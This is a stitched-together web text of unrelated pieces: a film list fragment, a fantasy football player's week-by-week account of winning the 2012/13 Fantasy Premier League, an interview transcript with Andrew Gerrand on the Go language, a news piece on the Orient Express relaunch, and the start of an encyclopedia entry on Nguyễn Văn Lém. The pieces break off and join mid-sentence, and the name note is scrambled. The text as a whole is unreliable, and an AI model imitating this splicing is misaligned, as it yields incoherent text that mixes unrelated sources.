2. The Conformist / Bernardo Bertolucci
3. A Zed and Two Noughts / Peter Greenaway
4. Brazil / Terry Gilliam
5. Last Year at Marienbad / Alain Resnais
For Filmmakers:
1. That Obscure Object of Desire / Luis Buñuel
2. Weekend / Jean Luc Godard
3. Radio On / Christopher Petit
4. The Holy Mountain / Alejandro Jadowrosky
5. Tokyo Story / Yasujirô Ozu
Straight Outta Compton is out now internationally.
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Like this: Like Loading...Hi all,
As requested by FISO and their amazing community of FISOers, here is my article on How I won the Fantasy Premier League 2012/13.
I hope you enjoy reading it as much as I did writing it. Though I must warn you, it is a long article. As I have reflected on each one of the 38 Gameweeks (GWs) in a week-by-week format, as some of you requested me to do so because it is a long summer while we wait for the new Fantasy Premier League (FPL) season to begin.
I was initially just going to just write up the selected important GWs of my FPL season, but when looking back at my season as a whole, every single GW meant something important in the context of the whole season that eventually ended up me winning the title by just 2pts. What I have realised now more than ever before from this reflection on my whole FPL season, is that every single GW point counted!
I have tried to be as brief and concise as possible for each GW whilst getting the important and significant details in. This obviously gets more difficult for me to achieve towards the end of the season when FPL went into overdrive with the end of season double GWs madness!
I would just like to say just in case anybody doesnt get to the end of this article due to death by reading, is that throughout my winning season, I shared and discussed many FPL tactics here at FISO, to which you all here were a great help to me each GW. So I am glad I can share with you my week-by-week thoughts and insight that were behind my each and every decision that I made in my in my quest for the overall FPL crown.
I hope you find it interesting, and I hope it will inspire someone out there to go and win it in the future!
Cheers,
Matt (spiderm4tt)
Pre season:
As soon as the FPL game was launched during the summer of 2012, the planning began immediately for GW1, which was a Double GW (DGW) involving Chelsea and Reading, due to Chelseas involvement in the UEFA Super Cup that was to take place over the weekend of GW3.
I immediately decided to 'go all out' for this opening DGW by loading up on the maximum allowance of three players from each of the two teams involved. I wanted a good start, as it was likely to assume that out of 2.6m players participating in the FPL game, a fair few players would be doing this, and I didn't want to get left behind, or playing 'catch up', from the very start. I also loaded up on three players from the current Premier League Champions, Man City, as they had an opening nice fixture at home to a newly promoted Southampton team.
An in-form Gerrard fresh in off the back of a decent Euro 2012 for him, and the solid defender, Vermaelen, who is an attacking threat from corners and set plays, as well as having a good chance of getting a home clean sheet against his opponents, Sunderland, made up the rest of my GW1 starting eleven.
Apart from my goalkeeper Begovic, my bench was made up of cheap fodder so I could free up the necessary funds to field a strong first eleven DGW1 team.
GW1:
Federici (x2),
Lescott, Vermaelen, Harte (x2),
Hazard (x2), Gerrard, Lampard (c)(x2), Yaya,
Pogrebnyak (x2), Torres (x2), Tevez.
Bench: Begovic, Fabio, Barnett, Briton.
It turned out to be a fairly decent opening GW for me as I hoped it would be.
I accumulated 98pts and was positioned overall just inside the top 10,000. Captain Lampard got me a nice 32pts, but it was Hazard who I was most impressed by as he returned 21pts from his five assists over the two games. I initially wanted Mata instead of Hazard as Mata was a proven FPL player, whereas Hazard was not, or a Carlos Kickaball (CK) as some would say when a foreign player is not proven in the English Premier League....but Mata was fatigued due to the summer Olympics and Euros, so I took a punt on a 'not so risky' CK!
My other key GW contributors were a goal each from Tevez, Torres and Pog. Yaya chipped in with an assist,while Vermaelen got me 8pts from a clean sheet and two bonus points (BAPs) in a nil-all home draw to Sunderland.
GW2:
I decided before GW1 that I was always going to Wildcard (WC) for GW2 due to the team I picked for the DGW1, which wasn't the team I wanted if GW1 was a single GW. I therefore treated GW2 as GW1. I did not want to go in to GW2 and beyond with 5 or 6 players from Chelsea and Reading (who both had no GW3), and three players from Man City.
So playing my WC was a fairly easy decision to make for me. I wanted to build on my good start and revert to my tactics from my relatively'successful' early FPL days, which was to play a cheap goalkeeper, three fairly cheap defenders, and to go all out for a powerful front seven or eight players, which is where the majority of FPL points are to be gained it its current format.
Team changes this GW as seen below were many after playing my WC.
Vorm,
Clyne, Hangeland, Shawcross,
Ben Arfa, Michu (c), Hazard, Bale,
Suarez, Rooney, Tevez.
Bench: Cerny, Kacanikilc, Cuellar, Demel.
I scored a modest 69pts from this GW.
I got a disappointing red arrow and went down to 16,759 position overall. I was though fairly happy with the GW score and I had most of the players I wanted, including the now not so CK, Michu, who I immediately got in after his opening day 18pt haul at QPR.
I even trusted him with the armband, which turned out well with his 20pts return. Hazard and Tevez chipped in nicely again with their hauls of 13pts and 12pts respectively.
Other key contributors to my GW score were a goal from Suarez at home to Man City, while Vorm and Shawcross each getting me a welcomed clean sheet.
My team value increased from 100m to 100.8m. Though I was fairly happy with GW2, I was not happy in that I picked the wrong Man Utd forward. I went for Rooney over RvP for the reason I thought RvP may need some games to 'bed in'....but I was wrong, so I immediately acted on this for GW3 by getting him straight in to my team.
GW3:
My priority for this GW and beyond was to stick with my FPL tactics. I decided to play this seasons FPL in blocks of three GWs, in other words, I set up my team to the near maximum points potential for the very next GW, and for the next two GWs beyond this. I never looked beyond three GWs unless there was a DGW on the horizon. The reason why I never looked beyond three GWs is that it's virtually impossible to predict what player will be in form or fit, or in/out of favour, beyond this period, as we all know a week is a long time in football, and the same goes for FPL.
My main priority for this GW, and the two GWs beyond, was getting in RvP. I had to take a -4pt hit to fund the Rooney to RvP move. Hangaland to McCartney seemed a reasonable option to free up the needed cash for RvP. I am not a fan of taking points hits, unless it is absolutely necessary, and RvP was just this, absolutely necessary for his away game at Southampton and beyond.
Team changes this GW were Demel in for the sold Hangaland, Cuellar in for Clyne based on Sunderlands better fixture at Swansea compared to Clyne at home to Man Utd. Kacanikilic came in for Hazard, who had no fixture due to already playing it in the DGW1. Finally, RvP replaced Rooney, which was a decision I never looked back on throughout the season.
Vorm,
Shawcross, Demel, Cuellar,
Ben Arfa, Michu, Kacanikilic, Bale,
Suarez, RvP (v) Tevez (c).
Bench: Cerny, Hazard (no game), McCartney, Clyne.
A nice 74pts this GW, including a welcome 30pt haul from captain Tevez, and a 15pt haul from newly transferred in RvP.
Michu scrored again proving he wasnt a CK, and Ben Arfa chipped in nicely with a goal and two BAPs.
Demel got me nice cleanie after playing 77 minutes in a 3-0 Hammers win at home to Fulham.
This GW score gave me a green arrow to move up to 11,366 overall. Though I never even gave it a second thought about my overall position...I just wanted to win my mini league (ML) again this season and I think I moved up into the top three there this GW, so I was happy! My team value shot up to 102.1m, which was also good to see at his early stage of the season. It was therefore a reasonably good start for me this season.
GW4:
For some reason I wasn't happy with Suarez. He reminded me very much of last season, where he didn't turn his good play in to FPL points. Also I was impressed by Arsenal and in particular, Cazorla, who ran the game at Liverpool in Arsenals impressive GW3 win. I didn't have any'much needed' Arsenal coverage. I wanted Cazorla in and this was at the expense of Kacanikilic because I was happy with my other big scoring midfielders. I couldn't fund the Cazorla move with the one weekly free transfer (FT), so Suarez had to make way for the only forward I could afford, which was Readings Pog! This was my second -4pt hit of the season.
Team changes this GW were Hazard and Cazorla coming straight in for the departed Suarez and Kacanikilic. This gave me a strong five man midfield, while Pog was on the bench.
Vorm,
Shawcross, Demel, Cuellar,
Hazard (v), Ben Arfa, Michu, Cazorla (c), Bale,
RvP, Tevez.
Bench: Cerny, Pog, McCartney, Clyne.
A dismal GW score of just 44pts and a GW ranking 859,274, which nearly got me entry into the'millionaires club', gave me another red arrow. I dropped position to 15,895 overall. Captain Cazorla only got me 10pts in a 6-1 Arsenal thumping win at home to Southampton. This was very disappointing captain pick, but the potential haul from him was there to be seen nevertheless.
My other key GW contributors of note were Bale finally getting off the mark this season with an 11pt haul at Reading. Tevez got me some more early season points with another assist, while Demel produced another clean sheet away at Norwich. Was there a potential legend here in the making playing right back for the Hammers? Ok maybe not, just yet anyway.
GW5:
Despite my disappointing GW4 score, I was happy with my team. I had the big midfielders and forwards in place, with a cheap back line and keeper who were all capable of getting the odd extra points here and there. Therefore, I decided to save my FT and roll it over to the next GW.
Team changes this GW was only the one, that was Clyne at home to Villa, rather than Cuellar away at West Ham.
Vorm,
Clyne, Shawcross, Demel,
Hazard (c), Ben Arfa, Michu, Cazorla, Bale (v),
RvP, Tevez.
Bench: Cerny, Pog, McCartney, Cuellar.
I scored a modest and above average 53pts this GW. This gave me a green arrow to take me up a couple of thousand to 13,502 overall. My key performers this GW were another goal from RvP to return me 6pts. Ben Arfa returned 8pts from an assist and two BAPs, while Bale and Cazorla continued their good form by chipping in with an assist each and five BAPs between them.
The nice surprise of this GW came from Clyne, who got me 9pts from a goal and two BAPs in the Saints 4-1 home win against Villa. My captain Hazard disappointingly got me just 6pts in total. However, it wasnt a bad GW overall and I had saved and rolled over my FT to next week.
GW6:
This GW was fairy straight forward for me. I was happy with my team. I had two FTs this so I used my saved FT to get in Clark, who had WBA at home, for the injured Cuellar. Clark had an interesting start to the FPL season to say the least with his five previous GW scores of 1, -3, 11, 7, and -2.....so he was 'due' a good positive number from this GW!
Clark instead Clyne was my only GW team change from last GW.
Vorm,
Demel, Clark, Shawcross,
Hazard, Ben Arfa, Michu, Cazorla, Bale,
RvP (c), Tevez (vc).
Bench: Cerny, Pog, Clyne, McCartney.
In fairly low scoring GW, I got another above average return of 54pts. This gave me a huge green arrow to shoot me up almost 6000 places to an overall position of 7,887, and more importantly at the time, I was only 3pts off top spot in my ML!
Captain RvP, however, could have got me more than his 10pts by just getting the one assist, but a nice 16pt haul from Bale, a cleanie from Shawcross, an assist and one BAP from the newly transferred in Clark, and two BAPs from Tevez, saved my GW, as the rest of my team drew blanks.
GW7:
Again I was happy with my team for this GW apart from Shawcross. I cannot remember the exact reason why, but I decided to use my saved FT to ship him out for Gallas. I think my reasoning was that I made some money owning Shawcross and wanted to bring in some much needed spare money for possible future transfers. Also Shawcross had Liverpool away, while Gallas had Villa and Chelsea at home, then Swansea away, with the potential of Wigan at home after this.
So it was the same team as previous GW apart from Gallas in for Shawcross.
Vorm,
Demel, Clark, Gallas,
Hazard (c), Ben Arfa, Michu, Cazorla, Bale (v),
RvP, Tevez.
Bench: Cerny, Pog, Clyne, McCartney.
I scored a modest 57pts this GW, which was again only just another above average GW score for me. However, it gave me another green arrow, but I only went up around 200 places overall to position 7,697.
I picked the right captain this GW. Hazard got me 18pts from a goal and two BAPs in home win to Norwich. Cazorla and Michu both chipped in again with another goal each, while the newly transferred in Gallas rewarded me instantly with a clean sheet and a BAP in a Spurs 2-0 win against the Villa. RvP and Tevez continued with their weekly returns by getting me an assist each.
GW8:
Yet again I am happy with my front seven big hitters for this GW. I have again two FTs. I wasn't happy with Demel's poor form and scoring so I decided to get in Ben Davies for just 4.0m. Davies looked to have the left back slot his own due to the first choice left back, Taylor, unfortunately sustaining a broken leg. A 4.0m defender again was just what I wanted so I could stick to my game plan of spending heavy up top on a big front seven.
The two changes this GW were Davies in for the transferred out Demel, and McCartney in for Clark, who I think was injured.
Vorm,
Davies, McCartney, Gallas,
Hazard, Ben Arfa, Michu, Cazorla (v), Bale,
RvP (c), Tevez.
Bench: Cerny, Pog, Clark, Clyne.
I got a decent total GW score of 66pts compared to the average GW score of just 43pts. This score got me a significant green arrow as I was now in 2,037 position overall, to which then I did take note of this huge jump in the overall rankings. However, I was still more concerned about getting top spot in my ML, where I had closed the gap now to just 7pts!
Bale pulled out of this GW before kick off to attend the birth of his child. Pog came in as substitute and got me an expected poor return of 2pts. Captain RvP had a nice of 22pts, which included a goal, an assist and two BAPs. Michu continued his superb start to the season by scoring another welcomed goal, while Hazard and Tevez both chipped in with three assists between them. A Gallas goal was a nice surprise against Chelsea, and this made up for the four goals that were conceded by Spurs and Gallas.
GW9:
With no issues concerning my team I decided to use my rolled over FT on getting in Begovic for Vorm. Vorm had served me well, but with Begovic in good form, and his forthcoming next three fixtures of Sunderland (h), Norwich (a) and QPR (h), he was straight into my team. Vorm conversely had three tough fixtures coming up with Man City (a), Chelsea (h), then Southampton (a).
My team changes this GW were the transferred in Begovic for the transferred out Vorm. Clark was favoured over Davies due to Swansea having Man City away while Villa had Norwich at home. I also benched Michu in favour of Pog, who I thought had the potential to get some points at home to Fulham.
Begovic,
Cark, McCartney, Gallas |
of way, although their execution model is quite different. There have been some previous languages that provide these kind of features that Rob Pike worked on. One of them is LF and another is Newsqueak. There’s libraries that provide very similar kinds of concurrency mechanisms in other environments. I think there are – I think live event for C might provide something similar.
None of them really work in precisely the same way as Goroutine’s channels do. The particular implementation message in Goroutines is quite unique, I think.
Interviewer: You touched on this a little bit earlier, but could you talk a little more about how imports work in Go?
Andrew Gerrand: Yeah, so basically, one of the goals of Go as a tool chain and as an environment is that you shouldn’t need to maintain make files or other kinds of metadata files to define the way to build your programs, and so the Go tool chain kind of uses a convention of all of the files that comprise a Go package. A Go package is a unit of Go code. It contains types and functions and variables and constants. Go has adjacent package. It has an HTTP package. It has a string formatting package. All of these packages each live in their own directly and the directory is relative to some root of a tree.
When you important that package, you actually import it by the path of that directory relative to the root. So, all of the standard library packages have these short input parts like the stream formatting packages is just FMT. The HTTP package is net/HTTP. When you’re writing your own packages, you’ll typically put them inside what’s called a workspace in a directory that somehow uniquely identifies your organization.
Me, personally, for my own code, I keep things on GitHub, so my input piles typically being with GitHub.com/myusername/whatever the repository name is. When I import my code, I’m actually importing it by its full universally-unique path. The first major benefit of this is that from the source code, the tool, it’s called the Go tool, which you use to build and test and so on – the Go tool can resolve all of those dependencies just by looking at the source code because the import paths describe completely everything that’s needed to locate those packages.
That means that you don’t need to maintain many files. You don’t need to maintain any kind of buildable files. The code says everything it needs to about that. One of the really nice benefits of this is that you can use the Go tool to fetch remote code from their repositories. If someone imports one of my packages using the GitHub import path, I can use the Go tool and say, “Go get this package,” and it will resolve the URL from the import path, fetch that package from the repository, and then do the same thing recursively, and so resolve all of the dependencies in that way.
We get this kind of nice decentralized mechanism for fetching third-party code. It has its limitations, like it doesn’t support any kind of versioning. It relies on people keeping the head revision of their repository in a useful state and in a consistent state. It’s not perfect, and there are tools for help managing versions after you fetch the packages. But as far as identifying code and identifying packages, I think it’s a really nice design, and one that people tend to really like once they’ve gotten used to it.
It does actually force you to keep your code in a prescribed place in your file system, and some people don’t like being told to put their code in a specific place. They have their habits and they want to keep things where they’re used to keeping them, but I think once you kind of let go of that and just adopt the same convention as everyone else, things become remarkably straightforward.
Interviewer: What about garbage collection? How does the garbage collection system in Go compare to that of other languages?
Andrew Gerrand: Well, so Go is a garbage collection language like a lot of the scripting languages like Java. Go’s garbage collector is pretty simple. It behaves pretty predictably. It’s a stop-the-world garbage collector, so no user code runs while it’s collecting garbage, but it’s a very efficient stop-the-world garbage collector. It tends to perform pretty well. I mean it hasn’t seen all of the engineering effort that’s gone into, say, Java’s JVM garbage collector, but one distinct advantage that Go has over a lot of the other garbage collector languages is something that I mentioned before, which is control over memory allocations.
As a Go programmer, it’s very easy for you to see when garbage is being created, and the language gives you the tools you need to reuse memory where appropriate and to avoid allocations. So, even though Go’s garbage collector isn’t as advanced as that of some other environments, you also don’t need to put as much pressure on it in Go. You can simply avoid creating a lot of the garbage in the first place.
We have some really nice profiling tools for profiling memory allocations and seeing where the garbage is coming from. Once you know where it comes from, the language gives you the tools that you need to reuse memory where you can and avoid those allocations to avoid putting the pressure on the GC. It’s a very different model to, say, in Java where you have an application and you really tune the JBM’s GC to get good performance. It’s kind of harder in Java to tune the application because there’s a lot of allocations that are just impossible to avoid. They are baked into some of Java’s core APIs.
Interviewer: Is it on the roadmap at all to improve the garbage collector? Is that sort of more like an ancillary concern and it –
Andrew Gerrand: No, it’s absolutely on the agenda to improve it, and it has improved from release to release. We had some dramatic speedups in 1.1. We should see some further precision improvements in 1.2 as well as some performance improvements. These have all been incremental upon the original design. There are plans to implement a new GC, but I think that will require some cooperation from the compiler as well. At the moment, we’re really talking about improving the compiler and porting the compiler from C to Go because it was originally written in C.
It makes bridge dropping a lot easier that way, but we think it’s about time that we did a Go version of the compiler. Then once we have that at some level of maturity, I think it will be easier to approach improving the GC because GC implementations tend to be pretty closely tied to the code generation stage. I think that’s really the first thing that needs to happen.
Interviewer: Let’s discuss the compilation of a Go program. I don’t know how to approach the discussion without going too deep into the weeds, but maybe you can provide some overview?
Andrew Gerrand: Right now the design is that there’s the compiler stage, which takes in Go source files and produces a package object file. Package object file is not machine code. This is the state right now. It’s not machine code. It’s actually a kind of intermediate assembly language, and it also –
Interviewer: Is this similar to all the Java bye code?
Andrew Gerrand: Yeah, except it’s not byte code for a virtual machine. It’s like assembly instructions for a real machine, but they’re not exactly the same as the instructions that get admitted. They are sort of halfway there. It’s like the compiler almost does some assembly in the compiling compilation stage, but then it leave the rest for the linker. So the linker takes these object files and discards any unused code from the packages, and then actually translates that intermediate assembly into machine code.
The translation itself is not tremendously different from what comes in, but it is different. This is a kind of unusual design, which we inherited from the Plan 9 C compiler, which is what the compiler tool chain is currently written in now. This was the design that Ken Thompson built, I guess in the late ’90s, early 2000s. Well, probably in the ’90s, yeah. As we do more work on the compiler, we’ll probably move to a different approach, maybe a more traditional approach of actually having the compiler emit machine code rather than this kind of intermediary format.
It’s not my area of expertise, and so I’m not sure which direction we will go there, but it certainly is unusual the way it works now. It’s a very unconventional compiler design, that’s for sure.
Interviewer: I have some specific questions about the operators of the language. I know these are all in the documentation, but probably worth discussing some quick ones that are – they stick out as soon as you kind of start messing around with the language. There’s the equals operator, which is just the assignment operator, but there’s also a colon equals, which is the short variable declaration. How do these two differ?
Andrew Gerrand: Well, I mean colon equals is used to declare variables. You’re declaring them with some initial value, so the colon is kind of important because it shows that you are creating a new name in that scope. Equals is purely for assignment, so you have some name on the left-hand side and then some value on the right-hand side. So they are similar in function except the colon equals also declares the name.
It’s hard to do it just by talking, but colon equals is actually a short-hand for the variable declaration statement, which begins with the var keyword. You could have var X end to declare an X variable that’s an integer. If you wanted to give it some initial value, you could say var X end equals one. You’d give it the initial value of one, but then the shorthand for that statement is just X colon equals one. You can drop the var keyword. You just have the name, the colon equals, and the initial value.
Then the type of that variable is inferred from the value that you give it. Because I’m giving it a one, it infers that this is an integer variable, and so most variable declarations in Go are done with the colon equals operator, but it’s really just like a shorthand for the more explicit variable declarations in text that we have.
Interviewer: Another question; why is there no ternary operator?
Andrew Gerrand: Basically for readability. Using the question mark colon, the ternary form that you see in C or JavaScript or something, it lets you write these really sort of terse, terse lines that can do quite a lot. I mean you can put function calls in there and they get short-circuited based on the conditions. As a result, you can kind of pack a lot of functionality into a very small piece of space. That’s especially so when you are using multiple ternary operators in the one big expression. You see people doing that.
Frankly, I think it’s pretty awful. I mean I’ve always sort of felt that can be kind of taken to a natural extreme. Go as a language, generally tries to discourage those kind of awfulnesses, simply by making them impossible to do. I mean it’s still possible to write really ugly Go code, that’s for sure. But generally when they’re being features like this that are very minor language features, just in tactical features, we tend to leave them out because it just makes the language more complex. I mean it’s yet another thing you need to know, another thing you need to think about when reading the code.
The alternative is just to use an if statement. If statements are very easy to read, very easy to do, understand. It’s a lot easier to see at a glance what’s happening in an if statement; whereas, with the question mark colon, you can bury it a lot inside that small space.
Interviewer: This is the same motivation for not having the prefix operator I assume? Having ++I?
Andrew Gerrand: Yeah, so we don’t have a pre-increment. We just have an increment, so you can say I++, but no ++I.
Interviewer: Right. ________.
Andrew Gerrand: Yeah, yeah, but the main reason we don’t have that is actually because I++ in Go is known as an expression, so you can’t actually take the value of that statement. It’s just a statement that you must have on a line or in a full loop or something, but it’s not a value. It doesn’t valuate to anything. The notion of the pre-increment or post increment is irrelevant because you can’t take its value. It doesn’t matter when you are pre-incrementing or post incrementing. You’re just incrementing.
That decision not to make the increment an expression is actually very much in the name of readability. If you want to increment something, and then get the value of it, you need to do exactly that. You need to increment it, and then take the value of the variable. Then you don’t have to think about, “Oh, did I pre-increment or post increment or what?” Yeah, that’s another little syntactic thing that we did in the name of readability. It makes code a little bit more verbose, but it also makes it a little bit more explicit too.
Interviewer: Tell me about the languages development process on a day-to-day basis.
Andrew Gerrand: The development of the language itself has slowed considerably because after we did code 1.0, we’ve made a compatibility promise that we won’t break any code. If you have a code that compiles with Go 1.0, it should compile with Go 1.x period. We anticipate that the Go 1.x line will continue many years. We know that Go version 2 is probably on the horizon somewhere, and we mark certain issues on the issue tracker as being Go 2 issues simply by being backward incompatible or sort of outside of the scope of Go 1. But it means that there’s not a lot of really sort of major work we can do on the language without adding a lot of things.
A major point of Go’s development is that it tried to only include things that were really necessary in the design. It was designed by a consensus, the consensus of the original core team and then later as more members were added to the team. If anybody has any major reservations, if anybody doesn’t buy into the feature suggestion, then we just don’t do it. That meant that a lot of features took a really long time to design. Imagine how long it took to design slices, but at the end of the day it means that we have a language that is really small. You can learn it really easily. It’s easy to define and easy to implement.
Yeah, so as far as the development of the language, there’s not really a huge amount happening day-to-day. We have made a couple of language changes in this coming release and in the previous release, but they’re really just tightening up what’s already there or I mean we’ve finally figured out how to do a certain thing that we’ve been thinking about for some time. Most of the action is really happening on the compilers, on the runtime, and on the libraries and tools. In particular, on the tools.
On the project, each contributor has their kind of area of expertise. Some contributors just hack on like fixing bugs as they come in, just kind of doing small sort of cleanup sort of stuff. Other contributors have sort of broader areas to responsibility where they’re working on improvements to the runtime or building new tools or building new libraries. So, there’s a lot of work going on in the stuff that makes the language fun to work with. It’s the tools that make it possible for you to really have a good time programming in Go. That’s kind of where our focus is on a day-to-day basis right now.
Interviewer: What are some of those tools? Are you talking about an IDE or a debugger?
Andrew Gerrand: Well, so a range of different things. I mean there’s some people who are working on static analysis tools. Looking at some Go source code, you can ask questions like, “What is the type of this variable? Where is it used?” Look at a function, “Where is this called? Does it satisfy any interfaces?” Those kinds of things. That will feed into support for editors and support for other development environments. We’re not working on an IDE per se, but we’re working on a lot of the support stuff that should make that possible.
Other areas, so in Go 1.2, which is coming out soon, we include a new form of profiling. We already had CPU profiling and memory profiling and block profiling, so being able to see where a program is blocking. We have a nice tool for visualizing those profiles of that data that you can see a nice sort of tree of where your allocations are or where the CPU time is going.
The new sort of hotness in 1.2 is test coverage profiling. So you can generate a profile of which code parts your test are exercising. We have a tool that lets you view that stuff in a web browser so you can look at a kind of colorized version of your source code to see which parts are not being exercised by the test, and you can see how heavily they are being exercised as well. That’s a really nice step towards improving code quality, just giving people the tools to see whether they’re actually testing what they think they are. So that’s an exciting addition that we’ll see this round.
I also mentioned the Go imports tool for automatically adding or removing imports. That saves a lot of fussing around just when hacking on code because you typically add in or remove imports all the time, and the program won’t compile unless you have the correct imports stated at the top of the file. Not having to think about that is a huge benefit.
Interviewer: How fully-featured is the standard library?
Andrew Gerrand: It’s pretty great. A lot of people say that the standard library is probably Go’s best feature. It has most stuff in it that I need for a lot of the things that I do. I write web apps. I write ___ line tools. I mean if you want to write, say, like an open GL application or so, we don’t provide open GL in the standard library, but we do provide everything you need to write a good network server basically. Tremendous set of networking HTTP stuff, encoding and decoding of things like XML and JSON. There’s quite a long list of useful stuff in there that’s really just work checking out rather than me trying to rattle off a list of names.
Yeah, we kind of have what we think is a pretty nice standard library now. It’s kind of well-rounded, but now we’re sort of focusing on development of new packages on external repositories because we sort of had this nice mechanism for importing external libraries and fetching them. There’s very little friction between using the standard library or using any other library.
Interviewer: Are there some projects that company – actually companies are using Go for in production, like big companies? Of course, Google, but I guess other companies?
Andrew Gerrand: Sure. I mean I just published a blog post a few days ago where I named a few. One of the really nice examples is CloudFlare, who are a content distribution network essentially. You hire them to basically serve your website, and they will use their global cashing system to deliver your content really, really fast where the users are, but then it all sort of goes back to your servers eventually, and you sort of see some fraction of the overall load. They’ve built structure in Go and recently published a blog post talking about how they’ve enjoyed using that.
Other companies that use Go include SoundCloud. They are a big Go user. I’ve written about it a lot. A bunch of start-ups have started using Go, so a couple of recent examples were Poptip and Slice. If you search for Golang Go users or something like that, you should find there’s a Wiki page, which lists a huge number of these people and some other people include like Mozilla are using Go. Canonical, the people that make Ubuntu have written a lot of stuff in Go as well. BBC Worldwide.
There’s a sort of growing list of people who have adopted Go for serious production work. That’s possibly the most satisfying thing about having worked on this project is seeing all these people picking up and really enjoying using Go.
Interviewer: Do you think they pick it up and they say, “Hey, well, maybe we’ll try out this one-off project and see if it works with Go,” and then they find out it happens to work really well? Or are there certain features of the language that they say, “Oh, well, we have this project and we know it has these certain design requirements. What languages satisfy this?” Then they find, “Oh, it’s Go.”
Andrew Gerrand: I mean the typical adoption process for Go is someone at the company writes some small thing or rewrites some small thing in Go just as like a proof concept. Then they build it and they hand it to the operations people. The operations people say, “Wow, it’s just this one static binary? Okay, deploy that,” and then it works. Then it’s like, “Wow, that was easy.” That’s the story that I hear a lot. Then it gets – the next time some larger project comes along, they say, “Hey, maybe we should be using Go for this.” Of course, there are other people that have different approach at Splice, ____ collaboration setup. They said that they sort of evaluated a lot of the languages that they knew and that had used.
Sort of when they were building all their infrastructure, they decided to use Go because they said it was not specifically because of the features of the language, but because of the focus on tooling and testing and all of those sort of elements that make writing large applications more management. That’s very much a design goal of the languages, as I was saying earlier, so that’s not a surprise.
Interviewer: To what extent does community participation drive development of the language?
Andrew Gerrand: We have many, many contributors from the Open Source community. We have a sort of Kabul of maybe like a dozen regular contributors that do a lot, a substantial amount of work on the core. That varies from time to time depending on how busy people are and so on. A lot of the operating system ports that we’ve seen have been done entirely by the community. For instance, the Windows port of Go was done by a group of volunteers and coordinated by them and led by them. It’s a really high-quality port of Go, and it’s part of the core. It’s part of the distributions that we put out, the official distribution.
Yeah, I mean we, as a project, we are very much a real open source project. It’s very much not just Google throwing blobs of code over the wall. We do all our code review in public. Everyone’s code is held to the same level of scrutiny regardless of where it comes from. With that said, the project is very much led by a team at Google. I mean we are the people who are paid full time to sit and work and think about Go. Naturally, we have more time and energy to devote to leading the project.
The biggest committers are still mostly Google employers, but there are some dedicated contributors from outside Google who are really not very far behind there.
Interviewer: Are there any regular conferences?
Andrew Gerrand: There are Go user groups around the world. There have been two small Go conferences in Tokyo over the past year, and there are these local groups that tend to meet monthly every couple of months. I’ve visited probably more than a dozen of those around the world. They’re really great. I am really very happy with the friendliness and accessibility of the Go communities around the world. But we’re actually heading towards our first official sort of large scale Go conference, which his GopherCon. That’s happening in Denver in late April 2014.
There’s a bunch of really interesting people speaking and also myself. That should be a lot of fun. I think it’s a two-day thing. Yeah, I’m really excited for that because that’s the first large-scale dedicated Go conference that’s really been organized.
Also, if you’re in Europe, we actually have a room at FOSDEM, the big open source conference in Brussels at the start of February, and so if you’re in Europe and are coming along to that, please come and check out the Go room. We’ll be having a sort of small mini-conference inside the conference there. I actually really love that event. It should be fantastic.
Yeah, I’ve also spoken to other people who are considering organizing conferences elsewhere, and I think we’re really entering the stage where there’ll be a series of dedicated Go conferences in various parts of the world over the next couple of years.
Interviewer: Are there any books that are currently being written on the language?
Andrew Gerrand: Yeah. I mean there are a bunch of Go books. There’s a Go Wiki page that lists them. Yeah, I mean there’s been plenty of that activity happening even since day one. I think some people started writing books the day the language was released. Yeah, there’s plenty of content out there. I mean when people ask me about learning it, I still recommend visiting Golang.org. We have a lot of articles. We have a lot of great information there that’s just growing all the time. It’s definitely worth checking out some of the other publications that people have done.
There are also a lot of really great Go blogs, which also linked from the Wiki. Contributors write regular blog posts and they tend to focus on from in depth stuff to highly practical basic level stuff. I think there’s no shortage of learning materials to getting started with Go.
Interviewer: All right, Andrew. Well, thank you for your overview of the language. Really appreciate it.
Andrew Gerrand: No worries.
Interviewer: Thanks again.
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[End of Audio]Orient Express train from Paris to Istanbul to be relaunched by French rail firm SNCF
It is a name that has been associated with both stylish adventures and the golden age of travel for almost a century and a half. And, as of April, the Orient Express will be rebooted for the 21st century, when French rail operator SNCF restores it to the timetable.
These two fabled words are most commonly associated with the train that ran from Paris to Istanbul between 1883 and 1977. It was launched by the hotel group Compagnie Internationale des Wagons-Lits, and, at its height, offered travellers the chance to journey across Europe and into Turkey’s most famous city in a rolling realm of style and comfort.
A stylish rail icon: The original Orient Express train - seen here (left) making a stop in Bulgaria - ran from Paris to Istanbul between 1883 and 1977. The Venice Simplon-Orient-Express (right) is a luxury rail journey operator
However, with the growth of the European road network and the introduction of other fast passenger trains, the service gradually became a thing of the past.
The main route from the French capital to Istanbul was curtailed in 1977, and a shorter trip – from Paris to Vienna – was introduced. This ran until 2007, when the service was cut again, now starting out for Vienna from the north-easterly French city of Strasbourg.
The end finally came on 14 December 2009, when the last of these trains departed.
However, SNCF, which has owned the brand since 1977, has ambitious plans for the Orient Express name – not least of which is the return of trains to Istanbul.
A new Orient Express company will be launched in April, which will emphasise the high-end side of the trademark with a range of haute-couture luggage.
Initially, the new train service will retrace the abridged route from Paris to Vienna, but will eventually cover the full odyssey down through the Balkans to Istanbul.
Travellers should not confuse the resurrected train with the existing Venice Simplon-Orient-Express – a separate, private service specialising in luxury rail journeys.
Bringing it up to speed: The new Orient Express service will be run by SNCF, which owns the brand name
The brainchild of the British hotel group Orient Express Hotels, this uses the Orient Express name under licence from SNCF – and primarily operates from London to Venice, with the UK leg of the journey being referred to as ‘British Pullman.’
The Venice Simplon-Orient-Express uses antique carriages from the Twenties and Thirties to recreate the classic era of rail travel – when the Orient Express was so famous that it was the setting for Agatha Christie’s 1934 mystery Murder On The Orient Express.
Along with Venice, it runs to destinations including Vienna, Prague and Budapest – as well, crucially, as Istanbul, meaning that, somewhat confusingly, two versions of the Orient Express could compete to take passengers to Turkey when the SNCF train appears.Nguyễn. According to Vietnamese custom, this person should properly be referred to by the Lém. In this Vietnamese name, the family name is. According to Vietnamese custom, this person should properly be referred to by the given name
Nguyễn Văn Lém ( Vietnamese: [ŋʷǐənˀ vān lɛ̌m]; 1931 or 1932 – 1 February 1968), often referred to as Bảy Lốp, was a member of the Viet Cong. He was summarily executed in Saigon during the Tet Offensive in the Vietnam War, when Viet Cong and North Vietnamese forces launched a massive surprise attack.
He was brought to Brigadier General Nguyễn Ngọc Loan who then executed him. The event was witnessed and recorded by Võ Sửu, a cameraman for NBC, and Eddie Adams, an Associated Press photographer. The photo and film became two famous images in contemporary American journalism.[1]
Background [ edit ]
